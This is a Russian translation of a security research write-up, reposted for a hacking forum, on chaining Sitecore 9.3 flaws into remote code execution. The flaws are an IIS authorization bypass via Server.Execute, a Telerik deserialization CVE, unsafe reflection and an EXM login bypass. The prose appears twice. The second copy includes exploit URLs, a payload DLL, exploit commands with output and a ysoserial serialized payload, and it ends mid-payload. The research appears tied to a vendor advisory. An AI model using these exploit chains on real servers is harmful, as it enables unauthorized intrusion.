Оригинал
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro by txOrigin
Введение
Пришло время снова взглянуть на Sitecore! В 2021 году наша исследовательская группа по безопасности изучила Sitecore и обнаружила несколько интересных уязвимостей . Спустя некоторое время, Sitecore все еще достаточно распространен, и мы решили обратить внимание снова. Сегодня мы рассмотрим версию 9.3. Это не последняя версия, но она немного более популярна и все еще находится в рамках периода поддержки Sitecore. Для непосвященных Sitecore — это корпоративная CMS, написанная на .NET, которая предоставляет ряд инструментов, включая управление контентом, цифровой маркетинг и отчетность. Хотя к этому моменту, возможно, все низко висящие плоды были упущены, мы все же обнаружили множество проблем и метод обхода авторизации IIS, который мы не видели в дикой природе слишком часто, если вообще видели. В этом сообщении блога мы подробно описываем наш процесс поиска и использования этих уязвимостей. Как всегда, клиенты нашей платформы Attack Surface Management первыми узнали, когда эта уязвимость затронула их. Мы продолжаем проводить оригинальные исследования безопасности, чтобы информировать наших клиентов об уязвимостях нулевого дня в их поверхности атаки.
Рекомендации Sitecore по этим вопросам можно найти здесь: Бюллетень по безопасности SC2023-001-568150.
Давайте начнем!
Разведка
Большая часть исследований в области безопасности, особенно в отношении продуктов для крупных предприятий, заключается в выяснении существующих функциональных возможностей и способов доступа к ним. Чтобы начать наш анализ, первым шагом было перечисление всех файлов .asp, .aspx, .ashx, .asmx. Мы взяли список и просто попытались получить доступ к каждому из них без аутентификации. К сожалению, ни один способ, не содержал каких-либо интересных уязвимостей. Далее мы заглянули в Web.config в поисках дополнительных потенциальных конечных точек. Это дало нам набор «сопоставлений путей» для перечисления. Фрагмент Web.config приведен ниже.
Чтобы выяснить, как получить к ним доступ, мы просмотрели еще несколько файлов .config и нашли следующие сопоставления в App_Config/Sitecore.config.
Чтобы просмотреть каждый из них, мы сначала декомпилировали все файлы .dll в webroot с помощью dnSpy. Затем мы могли посмотреть на каждый из дескрипторов в декомпилированном исходном коде. Например, Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel подразумевает просмотр Sitecore.Resources.Media.MediaRequestHandler в Sitecore.Kernel.dll. Один из этих обработчиков, XamlPageRequestHandler, позволил значительно расширить поверхность атаки, предоставив нам доступ к внедрению более сотни элементов управления XAML. К сожалению, это тоже был тупик.
Лучшее, что мы могли получить от этого подхода - утечку информации: https://xp0.sc/~/xaml/ExperienceExplorer.SelectUser отвечал списком всех пользователей в системе. Полезная уязвимость, но не совсем то, что мы искали. После этого (небольшого) успеха мы решили обратить внимание на конечные точки API, предлагаемые Sitecore. Мы могли увидеть их в декомпилированном исходном коде по поиску Controller, но не знали, как получить к ним доступ. Сопоставление контроллеров в Sitecore немного отличается от стандартного подхода .NET для сопоставления контроллеров. После поиска в декомпилированном исходном коде Sitecore.MVC.dll и соответствующих конфигурационных файлах мы обнаружили следующее в App_Config/Sitecore/Mvc/Sitecore.Mvc.config.
Похоже, что api/sitecore/{controller}/{action} предоставляет довольно знакомое отображение маршрутов для контроллеров. После дальнейших копаний мы наткнулись на Sitecore.Mvc.Controllers.SitecoreControllerFactory, который включал метод CreateController. Мы подозревали (и надеялись), что это часть конвейера API. Для проверки, используя dnSpy, мы подключили отладчик к процессу w3p.exe и установили точку останова на CreateController в SitecoreControllerFactory.
Затем мы отправили запрос на https://xp0.sc/api/sitecore/DummyController/DummyAction, чтобы проверить, не попал ли он в нашу точку останова. Что и произошло.
Это дало нам предварительную точку входа в конвейер API, и мы могли начать исследовать, как работают контроллеры. При этом мы надеялись получить список контроллеров, которые мы могли бы вызывать. Мы продолжили изучение SiteControllerFactory и обнаружили, что он удивительно небрежен в отношении того, что ему можно инстанцировать. Если название контроллера LooksLikeTypeName и он реализует IController, мы можем его инстанцировать. Это можно увидеть в приведенном ниже фрагменте.
LooksLikeTypeName и TypeHelper.GetType проверяют, что имя контроллера похоже на тип .NET, а GetType поможет загрузить любую .dll, которую мы указали как часть имени типа. Обычно произвольная загрузка .dll была бы намного интереснее, но в данном случае мы были ограничены только каталогами webroot и bin. Используя dnSpy, мы перечислили все классы, реализующие IController, и наткнулись на Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController. В этом классе было реализовано Preview, которое привлекло наше внимание. Preview принимало единственный параметр previewPath и возвращало ExecuteHandlerAction.
Дальнейшее исследование ExecuteHandlerAction показало, что оно выполняет вызов Server.Execute с указанным ранее путем. Это привело нас к первому обходу авторизации.
Обход авторизации IIS для RCE
Server.Execute и Server.Transfer - два менее известных метода, которые позволяют вызывающей стороне перенаправить выполнение на другой файл.
Они обеспечивают функциональность, аналогичную перенаправлению, но вместо отправки ответа 3xx и выполнения клиентом нового запроса, процесс полностью обрабатывается в рамках первого запроса. Их можно рассматривать как аналог RequestDispatcher.forward и RequestDispatcher.include в Java. Недавно мы видели, как Java-версия этих методов эксплуатировалась в VMware Workspace ONE через CVE-2022-31656. Однако об их аналогах в .NET было написано не так много. Вызов Server.Execute, который мы обнаружили в ExecuteHandlerAction, не содержал никаких управляющих параметров и позволил нам перенаправить выполнение на любой файл в webroot. Поскольку Server.Execute не перезапускает весь HTTP-конвейер, мы смогли обойти почти все элементы управления на уровне IIS. Однако все еще оставались некоторые случайные ограничения, которые не позволяли нам получить доступ к каждому файлу в webroot. Например, мы не могли запросить ничего, для чего не было бы определено сопоставление типов MIME. К сожалению, это включало файл Web.config. Так к чему же мы могли получить доступ? Обычный файл, который мы использовали для проверки, - это файл лицензии Sitecore. Файл лицензии находится по адресу /App_Data/license.xml, и мы могли запросить его с помощью вызова
https://xp0.sc/api/sitecore /Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml.
Пример ответа показан ниже.
Более интересными были файлы резервных копий конфигурации в /App_Data/diagnostics/configuration_history. Sitecore периодически создает резервную копию всех файлов .config и сохраняет их в виде zip-архива с (несколько) предсказуемым именем, например 20230303Z.034441Z.zip. Поскольку разрешение временной метки составляет только одну секунду, нам нужно было всего лишь попробовать 86 400 комбинаций в день потенциальных файлов резервных копий. Это было вполне выполнимо и заняло всего несколько часов
С помощью файла Web.config мы искали метод эскалации до выполнения кода. Версия Sitecore, которую мы тестировали, все еще использовала Telerik UI 2018.3.910.45, который был уязвим к атаке десериализации (CVE-2019-18935). Обычно эта атака не может быть использована, поскольку для этого требуется знание ключей шифрования Telerik. Однако после утечки Web.config мы смогли использовать эту технику для удаленного выполнения кода. Начиная с приведенного здесь эксплойта, мы скомпилировали следующую полезную нагрузку в виде компонент в смешанном режиме, которая получает имя текущего пользователя и записывает его в файл.
Затем мы отредактировали CVE-2019-18935/RAU_crypto/RAU_crypto.py и установили T_Upload_ConfigurationHashKey и T_AsyncUpload_ConfigurationEncryptionKey в значения, найденные в Web.Config, а потом запустили эксплойт следующим образом.
Проверяя на веб-сервере, мы создали файл pwn.txt и можем видеть вывод команды, которую мы выполнили.
Небезопасное отражение
Во время поиска удаленного выполнения кода мы наткнулись на /sitecore/shell/Invoke.aspx. На этой странице мы обнаружили подозрительный вызов ReflectionUtil.CallMethod. Обработчик страницы для Invoke.aspx показан ниже.
Дальнейшее расследование показало, что эта страница позволяет аутентифицированному пользователю создать произвольный класс, а затем выполнить любой метод этого экземпляра. Однако он был ограничен только методами экземпляра (ничто, объявленное как статическое, не разрешалось), и методы могли принимать только строковые параметры. Вместо того чтобы пытаться проверить все методы экземпляра, которые принимают строки, мы искали места выполнения кода, а затем работали в обратном направлении, чтобы узнать, можно ли к ним обратиться через метод экземпляра. Одним из таких мест был вызов BinaryFormatter.Deserialize, который мы обнаружили в PivotGridFilterPersistenceHelper.DeserializeObject, классе в Telerik.UI.
Проследив от обратного, мы увидели, что метод DeserializeObject вызывается в PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Еще один шаг вверх по цепочке, и мы обнаружили вызов в сеттере для свойства FiltersPersistence на Telerik.Web.UI.RadPivotGrid.
Хотя это может выглядеть не совсем так, установщик свойств - это такой же метод экземпляра, как и любой другой. Поэтому мы можем вызвать его со страницы /sitecore/shell/Invoke.aspx. Сначала мы подготовили нашу полезную нагрузку десериализации с помощью ysoserial.
Затем мы можем собрать и отправить нашу полезную нагрузку. Telerik.Web.UI.RadPivotGrid - это объект, который мы инстанцируем, set_FiltersPersistence - это метод, который мы собираемся вызвать, а "PivotGridReportFilter;x;AAEAAAD/////..." - это параметр, с которым будет вызван set_FiltersPersistence. Строка разделяется на ; символов с помощью PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Первое значение, PivotGridReportFilter, должно попасть в правильный блок if в PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Второе значение, x, не используется.
Последнее значение - это наша полезная нагрузка, которая будет передана в DeserializeObject.
В результате мы получаем следующий окончательный HTTP-запрос.
Второй обход авторизации: EXM Boogaloo
К сожалению, из-за дополнительных элементов управления мы не смогли использовать уязвимость страницы Invoke.aspx для получения неаутентифицированного RCE, объединив ее с уязвимостью Server.Execute. Мы проверили, какие средства контроля доступа были применены к /sitecore/shell/Invoke.aspx, и обнаружили, что для доступа к странице требуется следующее. Конфигурация IIS в web.config запрещает доступ анонимным пользователям. Однако это можно обойти с помощью вызова уязвимости Server.Execute.
В Sitecore.Shell.Web.UI.SecurePage выполняется вызов ShellPage.IsLoggedIn, который выдает перенаправление, если нет валидного тикета. Однако поток управления не изменяется, и страница по-прежнему будет выполняться после этого, просто ответ будет отброшен. Код ShellPage.IsLoggedIn показан ниже.
В Sitecore.Web.UI.Sheer.ClientPage проверяется значение This.Context.User.Identity.IsAuthenticated. Если значение равно false, в WebUtil.RedirectToLoginPage возникнет исключение.
Учитывая все это, мы решили провести аудит всех мест, где установлен параметр HttpContext.User, поскольку не имело значения, для кого он установлен, лишь бы он был установлен для какого-то пользователя. Мы обнаружили такой случай в компоненте maling list (EXM) в Sitecore. Sitecore можно настроить с помощью Renderer User, чтобы пользователь, подписанный на список рассылки, мог получить доступ к информации без необходимости входа в систему при просмотре письма. При просмотре элементов таким образом пользователь предоставляет некоторые параметры запроса, такие как ec_message_id и ec_id, которые сообщают Sitecore подробную информацию о просматриваемом элементе электронной почты. Однако если злоумышленник предоставит правильные значения для этих двух параметров, то Sitecore.Modules.EmailCampaign.Core.Pipelines.HttpRequestBegin.LoadEmailRenderSessionUser установит пользователя HttpContext на настроенного пользователя Renderer User, как показано ниже.
При условии, что мы получили действительные параметры ec_message_id и ec_id, возможно, подписавшись на список рассылки и ожидая письма, в котором они есть. Мы можем собрать все это вместе, чтобы добиться неаутентифицированного удаленного выполнения кода с помощью следующего запроса.
Бонусный RCE с аутентификацией
При поиске экземпляров BinaryFormatter.Deserialize мы наткнулись на экземпляр, который действительно приводил к удаленному выполнению кода, но был недоступен без аутентификации.
К сожалению, поскольку он полагался на привязку значений к элементам управления ASP, он не работал через технику Server.Execute. В конвейерном процессоре Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls было несколько мест, где нефильтрованный ввод обрабатывался и в конечном итоге передавался в вызов Base64ToObject, который затем вызывал BinaryFormatter.Deserialize.
Код уязвимого места приведен ниже с добавленными комментариями.
Методы Convert сначала ищут любые элементы с классом scInlineControl, затем ищут соответствующий "внутренний" элемент и передают атрибут value этого элемента в Base64ToObject.
Метод Sitecore.Convert.Base64ToObject декодирует предоставленный аргумент и передает его в BinaryFormatter. Это можно увидеть в приведенном ниже фрагменте
В Sitecore было несколько мест, где вызывался этот конвейер. Однако проще всего получить доступ через /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML. Мы использовали ту же полезную нагрузку ysoserial.net, что и выше, чтобы создать следующую полезную нагрузку.
А затем отправили ему следующий запрос, чтобы получить удаленное выполнение кода.
Выводы
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro by txOrigin
Введение
Пришло время снова взглянуть на Sitecore! В 2021 году наша исследовательская группа по безопасности изучила Sitecore и обнаружила несколько интересных уязвимостей . Спустя некоторое время, Sitecore все еще достаточно распространен, и мы решили обратить внимание снова. Сегодня мы рассмотрим версию 9.3. Это не последняя версия, но она немного более популярна и все еще находится в рамках периода поддержки Sitecore. Для непосвященных Sitecore — это корпоративная CMS, написанная на .NET, которая предоставляет ряд инструментов, включая управление контентом, цифровой маркетинг и отчетность. Хотя к этому моменту, возможно, все низко висящие плоды были упущены, мы все же обнаружили множество проблем и метод обхода авторизации IIS, который мы не видели в дикой природе слишком часто, если вообще видели. В этом сообщении блога мы подробно описываем наш процесс поиска и использования этих уязвимостей. Как всегда, клиенты нашей платформы Attack Surface Management первыми узнали, когда эта уязвимость затронула их. Мы продолжаем проводить оригинальные исследования безопасности, чтобы информировать наших клиентов об уязвимостях нулевого дня в их поверхности атаки.
Рекомендации Sitecore по этим вопросам можно найти здесь: Бюллетень по безопасности SC2023-001-568150.
Давайте начнем!
Разведка
Большая часть исследований в области безопасности, особенно в отношении продуктов для крупных предприятий, заключается в выяснении существующих функциональных возможностей и способов доступа к ним. Чтобы начать наш анализ, первым шагом было перечисление всех файлов .asp, .aspx, .ashx, .asmx. Мы взяли список и просто попытались получить доступ к каждому из них без аутентификации. К сожалению, ни один способ, не содержал каких-либо интересных уязвимостей. Далее мы заглянули в Web.config в поисках дополнительных потенциальных конечных точек. Это дало нам набор «сопоставлений путей» для перечисления. Фрагмент Web.config приведен ниже.
Код:
<handlers>
<add verb="*" path="sitecore_media.ashx" type="Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel" name="Sitecore.MediaRequestHandler" />
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
<add verb="*" path="sitecore_icon.ashx" type="Sitecore.Resources.IconRequestHandler, Sitecore.Kernel" name="Sitecore.IconRequestHandler" />
<add verb="*" path="sitecore_temp.ashx" type="Sitecore.Resources.TempRequestHandler, Sitecore.Kernel" name="Sitecore.TempRequestHandler" />
<add verb="*" path="sitecore_feed.ashx" type="Sitecore.Shell.Feeds.FeedRequestHandler, Sitecore.Kernel" name="Sitecore.FeedRequestHandler" />
<add verb="*" path="sitecore_handlers.ashx" type="Sitecore.Web.CustomHandlerFactory, Sitecore.Kernel" name="Sitecore.GenericHandler" />
<add verb="*" path="sitecore_device_simulation.ashx" type="Sitecore.Shell.DeviceSimulation.SimulationRequestHandler, Sitecore.Kernel" name="Sitecore.SimulationRequestHandler" />
...
</handlers>
Чтобы выяснить, как получить к ним доступ, мы просмотрели еще несколько файлов .config и нашли следующие сопоставления в App_Config/Sitecore.config.
Код:
<customHandlers>
<handler trigger="-/media/" handler="sitecore_media.ashx" />
<handler trigger="~/media/" handler="sitecore_media.ashx" />
<handler trigger="~/api/" handler="sitecore_api.ashx" />
<handler trigger="-/api/" handler="sitecore_api.ashx" />
<handler trigger="-/xaml/" handler="sitecore_xaml.ashx" />
<handler trigger="~/xaml/" handler="sitecore_xaml.ashx" />
<handler trigger="-/icon/" handler="sitecore_icon.ashx" />
<handler trigger="~/icon/" handler="sitecore_icon.ashx" />
<handler trigger="-/temp/" handler="sitecore_temp.ashx" />
<handler trigger="~/temp/" handler="sitecore_temp.ashx" />
<handler trigger="~/feed/" handler="sitecore_feed.ashx" />
<handler trigger="-/feed/" handler="sitecore_feed.ashx" />
</customHandlers>
Чтобы просмотреть каждый из них, мы сначала декомпилировали все файлы .dll в webroot с помощью dnSpy. Затем мы могли посмотреть на каждый из дескрипторов в декомпилированном исходном коде. Например, Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel подразумевает просмотр Sitecore.Resources.Media.MediaRequestHandler в Sitecore.Kernel.dll. Один из этих обработчиков, XamlPageRequestHandler, позволил значительно расширить поверхность атаки, предоставив нам доступ к внедрению более сотни элементов управления XAML. К сожалению, это тоже был тупик.
Лучшее, что мы могли получить от этого подхода - утечку информации: https://xp0.sc/~/xaml/ExperienceExplorer.SelectUser отвечал списком всех пользователей в системе. Полезная уязвимость, но не совсем то, что мы искали. После этого (небольшого) успеха мы решили обратить внимание на конечные точки API, предлагаемые Sitecore. Мы могли увидеть их в декомпилированном исходном коде по поиску Controller, но не знали, как получить к ним доступ. Сопоставление контроллеров в Sitecore немного отличается от стандартного подхода .NET для сопоставления контроллеров. После поиска в декомпилированном исходном коде Sitecore.MVC.dll и соответствующих конфигурационных файлах мы обнаружили следующее в App_Config/Sitecore/Mvc/Sitecore.Mvc.config.
Код:
<setting name="Mvc.LegalRoutes" value="|Sitecore.Mvc.Web:api/sitecore/{controller}/{action}|Sitecore.Mvc:sitecore/shell/api/sitecore/{controller}/{action}|" />
Похоже, что api/sitecore/{controller}/{action} предоставляет довольно знакомое отображение маршрутов для контроллеров. После дальнейших копаний мы наткнулись на Sitecore.Mvc.Controllers.SitecoreControllerFactory, который включал метод CreateController. Мы подозревали (и надеялись), что это часть конвейера API. Для проверки, используя dnSpy, мы подключили отладчик к процессу w3p.exe и установили точку останова на CreateController в SitecoreControllerFactory.
Затем мы отправили запрос на https://xp0.sc/api/sitecore/DummyController/DummyAction, чтобы проверить, не попал ли он в нашу точку останова. Что и произошло.
Это дало нам предварительную точку входа в конвейер API, и мы могли начать исследовать, как работают контроллеры. При этом мы надеялись получить список контроллеров, которые мы могли бы вызывать. Мы продолжили изучение SiteControllerFactory и обнаружили, что он удивительно небрежен в отношении того, что ему можно инстанцировать. Если название контроллера LooksLikeTypeName и он реализует IController, мы можем его инстанцировать. Это можно увидеть в приведенном ниже фрагменте.
Код:
protected virtual IController CreateControllerInstance(RequestContext requestContext, string controllerName)
{
if (controllerName.EqualsText(this.SitecoreControllerName))
{
return this.CreateSitecoreController(requestContext, controllerName);
}
Type controllerType = this.GetControllerType(requestContext, controllerName);
if (!(controllerType != null))
{
return this.InnerFactory.CreateController(requestContext, controllerName);
}
return this.ResolveController(controllerType);
}
protected virtual Type GetControllerType(RequestContext requestContext, string controllerName)
{
Type result = null;
if (TypeHelper.LooksLikeTypeName(controllerName))
{
result = TypeHelper.GetType(controllerName);
}
return result;
}
protected virtual IController ResolveController(Type type)
{
return (this.DependencyResolver().GetService(type) as IController) ?? TypeHelper.CreateObject<IController>(type, Array.Empty<object>());
}
LooksLikeTypeName и TypeHelper.GetType проверяют, что имя контроллера похоже на тип .NET, а GetType поможет загрузить любую .dll, которую мы указали как часть имени типа. Обычно произвольная загрузка .dll была бы намного интереснее, но в данном случае мы были ограничены только каталогами webroot и bin. Используя dnSpy, мы перечислили все классы, реализующие IController, и наткнулись на Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController. В этом классе было реализовано Preview, которое привлекло наше внимание. Preview принимало единственный параметр previewPath и возвращало ExecuteHandlerAction.
Код:
public ActionResult Preview(string previewPath)
{
Assert.IsNotNullOrEmpty(previewPath, string.Format(CultureInfo.InvariantCulture, this.InvalidStringParameterMessage, "previewPath"));
return new ExecuteHandlerAction(previewPath);
}
Дальнейшее исследование ExecuteHandlerAction показало, что оно выполняет вызов Server.Execute с указанным ранее путем. Это привело нас к первому обходу авторизации.
Код:
public override void ExecuteResult(ControllerContext context)
{
Assert.ArgumentNotNull(context, "context");
context.HttpContext.Server.Execute(this.Path);
context.HttpContext.Response.End();
}
Обход авторизации IIS для RCE
Server.Execute и Server.Transfer - два менее известных метода, которые позволяют вызывающей стороне перенаправить выполнение на другой файл.
Они обеспечивают функциональность, аналогичную перенаправлению, но вместо отправки ответа 3xx и выполнения клиентом нового запроса, процесс полностью обрабатывается в рамках первого запроса. Их можно рассматривать как аналог RequestDispatcher.forward и RequestDispatcher.include в Java. Недавно мы видели, как Java-версия этих методов эксплуатировалась в VMware Workspace ONE через CVE-2022-31656. Однако об их аналогах в .NET было написано не так много. Вызов Server.Execute, который мы обнаружили в ExecuteHandlerAction, не содержал никаких управляющих параметров и позволил нам перенаправить выполнение на любой файл в webroot. Поскольку Server.Execute не перезапускает весь HTTP-конвейер, мы смогли обойти почти все элементы управления на уровне IIS. Однако все еще оставались некоторые случайные ограничения, которые не позволяли нам получить доступ к каждому файлу в webroot. Например, мы не могли запросить ничего, для чего не было бы определено сопоставление типов MIME. К сожалению, это включало файл Web.config. Так к чему же мы могли получить доступ? Обычный файл, который мы использовали для проверки, - это файл лицензии Sitecore. Файл лицензии находится по адресу /App_Data/license.xml, и мы могли запросить его с помощью вызова
https://xp0.sc/api/sitecore /Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml.
Пример ответа показан ниже.
Код:
HTTP/2 200 OK
Date: Mon, 07 Nov 2022 02:12:33 GMT
Content-Type: text/html
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xsl" href="http://www.sitecore.net/licenseviewer/license.xsl"?><signedlicense id="20190629084269">... omitted ...</signedlicense>
С помощью файла Web.config мы искали метод эскалации до выполнения кода. Версия Sitecore, которую мы тестировали, все еще использовала Telerik UI 2018.3.910.45, который был уязвим к атаке десериализации (CVE-2019-18935). Обычно эта атака не может быть использована, поскольку для этого требуется знание ключей шифрования Telerik. Однако после утечки Web.config мы смогли использовать эту технику для удаленного выполнения кода. Начиная с приведенного здесь эксплойта, мы скомпилировали следующую полезную нагрузку в виде компонент в смешанном режиме, которая получает имя текущего пользователя и записывает его в файл.
Код:
#include <windows.h>
#pragma comment(lib, "Advapi32.lib")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
char username[1024];
DWORD usernameLength = 1024;
GetUserName(username, &usernameLength);
DWORD actualLength = strlen(username);
HANDLE fileHandle = CreateFile(
"C:\\inetpub\\wwwroot\\XP0.sc\\upload\\pwn.txt",
GENERIC_WRITE,
0,
0,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0
);
DWORD written = 0;
WriteFile(fileHandle, username, actualLength, &written, 0);
CloseHandle(fileHandle);
}
return TRUE;
}
Затем мы отредактировали CVE-2019-18935/RAU_crypto/RAU_crypto.py и установили T_Upload_ConfigurationHashKey и T_AsyncUpload_ConfigurationEncryptionKey в значения, найденные в Web.Config, а потом запустили эксплойт следующим образом.
Код:
$ python3 CVE-2019-18935.py -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -v '2018.3.910.45' -n '4.8.4494.0' -t -p x-2022121206355822-amd64.dll
[*] Local payload name: x-2022121206355822-amd64.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1671363412.757567.dll
{'fileInfo': {'ContentLength': 93184,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1671363412.757567.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=2018.3.910.45, '
'Culture=neutral, '
'PublicKeyToken=121fae78165ba3d4',
'TempFileName': '1671363412.757567.dll.tmp'}}
[*] Heads up! Payload was renamed on target from "1671363412.757567.dll" to "1671363412.757567.dll.tmp". Will adjust automatically while deserializing; otherwise, if deserializing manually with the "-d" option, use the "-r" option to specify the accurate, renamed payload on target.
$ python3 CVE-2019-18935.py -d -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -r 1671363412.757567.dll.tmp
Проверяя на веб-сервере, мы создали файл pwn.txt и можем видеть вывод команды, которую мы выполнили.
Небезопасное отражение
Во время поиска удаленного выполнения кода мы наткнулись на /sitecore/shell/Invoke.aspx. На этой странице мы обнаружили подозрительный вызов ReflectionUtil.CallMethod. Обработчик страницы для Invoke.aspx показан ниже.
Код:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
string @string = StringUtil.GetString(base.Request.Form["__OBJECT"]);
if (@string.Length <= 0)
{
return;
}
int num = @string.IndexOf(",", StringComparison.InvariantCulture);
if (num < 0)
{
return;
}
string assembly = StringUtil.Mid(@string, num + 1);
string text = StringUtil.Left(@string, num);
num = text.LastIndexOf(".", StringComparison.InvariantCulture);
if (num < 0)
{
return;
}
string text2 = StringUtil.Mid(text, num + 1);
text = StringUtil.Left(text, num);
object obj = ReflectionUtil.CreateObject(assembly, text, new object[0]);
if (obj == null)
{
return;
}
string[] array = new string[0];
num = text2.IndexOf("(", StringComparison.InvariantCulture);
if (num >= 0)
{
string text3 = StringUtil.Mid(text2, num + 1, text2.Length - num - 2);
text2 = StringUtil.Left(text2, num);
array = text3.Split(new char[]
{
','
});
for (int i = 0; i < array.Length; i++)
{
array[i] = StringUtil.Unquote(array[i].Trim());
}
}
object obj2 = obj;
string methodName = text2;
bool includeNonPublic = true;
bool includeInherited = true;
object[] parameters = array;
ReflectionUtil.CallMethod(obj2, methodName, includeNonPublic, includeInherited, parameters);
}
Дальнейшее расследование показало, что эта страница позволяет аутентифицированному пользователю создать произвольный класс, а затем выполнить любой метод этого экземпляра. Однако он был ограничен только методами экземпляра (ничто, объявленное как статическое, не разрешалось), и методы могли принимать только строковые параметры. Вместо того чтобы пытаться проверить все методы экземпляра, которые принимают строки, мы искали места выполнения кода, а затем работали в обратном направлении, чтобы узнать, можно ли к ним обратиться через метод экземпляра. Одним из таких мест был вызов BinaryFormatter.Deserialize, который мы обнаружили в PivotGridFilterPersistenceHelper.DeserializeObject, классе в Telerik.UI.
Код:
public static object DeserializeObject(string objectToDeserialize)
{
byte[] buffer = Convert.FromBase64String(objectToDeserialize);
new BinaryFormatter();
object result;
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
result = new BinaryFormatter().Deserialize(memoryStream);
}
return result;
}
Проследив от обратного, мы увидели, что метод DeserializeObject вызывается в PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Код:
...
if (a == "PivotGridReportFilter")
{
pivotGridFilter = new PivotGridReportFilter();
PivotGridReportFilter pivotGridReportFilter = pivotGridFilter as PivotGridReportFilter;
pivotGridReportFilter.FieldName = array[1];
pivotGridReportFilter.Condition = (IFilterCondition)PivotGridFilterPersistenceHelper.DeserializeObject(array[2]);
}
...
Еще один шаг вверх по цепочке, и мы обнаружили вызов в сеттере для свойства FiltersPersistence на Telerik.Web.UI.RadPivotGrid.
Код:
set
{
string[] array = value.Split(new char[]
{
','
}, StringSplitOptions.RemoveEmptyEntries);
this.Filters.Clear();
foreach (string serializedFilter in array)
{
PivotGridFilter pivotGridFilter = PivotGridFilterPersistenceHelper.DeserializePivotFilter(serializedFilter);
if (pivotGridFilter != null)
{
this.Filters.Add(pivotGridFilter);
}
}
this.shouldAddNewSettings = true;
}
Хотя это может выглядеть не совсем так, установщик свойств - это такой же метод экземпляра, как и любой другой. Поэтому мы можем вызвать его со страницы /sitecore/shell/Invoke.aspx. Сначала мы подготовили нашу полезную нагрузку десериализации с помощью ysoserial.
Код:
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > \inetpub\wwwroot\XP0.sc\upload\pwn.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZ